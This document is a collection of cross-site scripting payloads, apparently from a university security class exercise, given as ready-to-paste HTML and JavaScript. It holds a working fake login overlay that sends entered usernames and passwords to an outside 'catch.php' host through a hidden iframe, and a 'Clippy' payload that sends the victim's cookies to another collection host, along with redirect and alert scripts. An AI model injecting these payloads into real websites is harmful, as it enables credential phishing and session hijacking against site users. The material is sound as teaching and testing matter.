Simple Alert:
-------------
<script>alert("Never underestimate the power of human stupidity.");</script>


Redirection:
------------
<script>window.location = "http://cmaquizmaster.org/"</script>	


Login Data Capture:
-------------------------
<div style="position: absolute; width: 30%; z-index: 2; left: 35%; top: 40%; float:left; background-color:#C0C0C0" id="loginlayer"> 
  <form method="POST" name="logonform" > 
		<b>You must login to continue</b> 
		<div align="center"> 
		<table border="0" cellspacing="0" cellpadding="0"> 
			<tr> <td>User:</td> <td><input name="userf" size="20"></td> </tr> 
			<tr> <td>Password:</td> <td><input type="password" name="passwordf" size="20"></td> </tr> 
		</table> </div> <p align="center">
		<input type="button" value="Submit" onClick="submitandhide()"></p>
	</form> 
	<script> 
	function submitandhide() {
		document.getElementById("loginlayer").style.display = "none"; 
		temprs = "user=" + document.logonform.userf.value + "&password=" + document.logonform.passwordf.value + "&prep=profh&attack=bettergui";
		var iframe = document.createElement("IFRAME"); 
		iframe.src = ("http://pawn-cmuis.net/catch.php?" + temprs);
		iframe.style.display="none";
		document.body.appendChild(iframe); 
		//help from http://www.gnucitizen.org/blog/javascript-remoting-dangers/ 
	} 
	</script> 
</div>


The above as one line:
----------------------
<div style="position: absolute; width: 30%; z-index: 2; left: 35%; top: 40%; float:left; background-color:#C0C0C0" id="loginlayer"><form method="POST" name="logonform"><b>You must login to continue</b><div align="center"><table border="0" cellspacing="0" cellpadding="0"><tr><td>User:</td> <td><input name="userf" size="20"></td></tr><tr><td>Password:</td><td><input type="password" name="passwordf" size="20"></td></tr></table></div><p align="center"><input type="button" value="Submit" onClick="submitandhide()"></p></form><script>function submitandhide(){document.getElementById("loginlayer").style.display = "none";temprs = "user=" + document.logonform.userf.value + "&password=" + document.logonform.passwordf.value + "&prep=YOUR_ANDREWID_HERE&attack=bettergui";var iframe = document.createElement('IFRAME');iframe.src = ("http://pawn-cmuis.net/catch.php?" + temprs);iframe.height=0;iframe.width=0;iframe.style.display="none";document.body.appendChild(iframe); }</script></div>

Clippy XSS:
------------
<div style="position:fixed; right:60px; bottom:10px; overflow:visible;" id="clippy"><script> new Image().src="http://pawn.hss.cmu.edu/~hacker/catch.php?perp=profh&cookie="+encodeURI(document.cookie); </script><table valign="top" width="130" height="309" border="0" cellpadding="5"> <tr><td valign="top"><font size="2">Hello, it looks like you have an XSS vulnerability, would you like <a href="http://www.owasp.org/index.php/Cross_site_scripting">some help fixing that?</a></font><br><img src="http://pawn.hss.cmu.edu/~hacker/images/clippy.png" border="0"></td></tr></table> </div>

SQL Injection?
---------------
<script>alert('I am Arthur, King of the Britons');</script>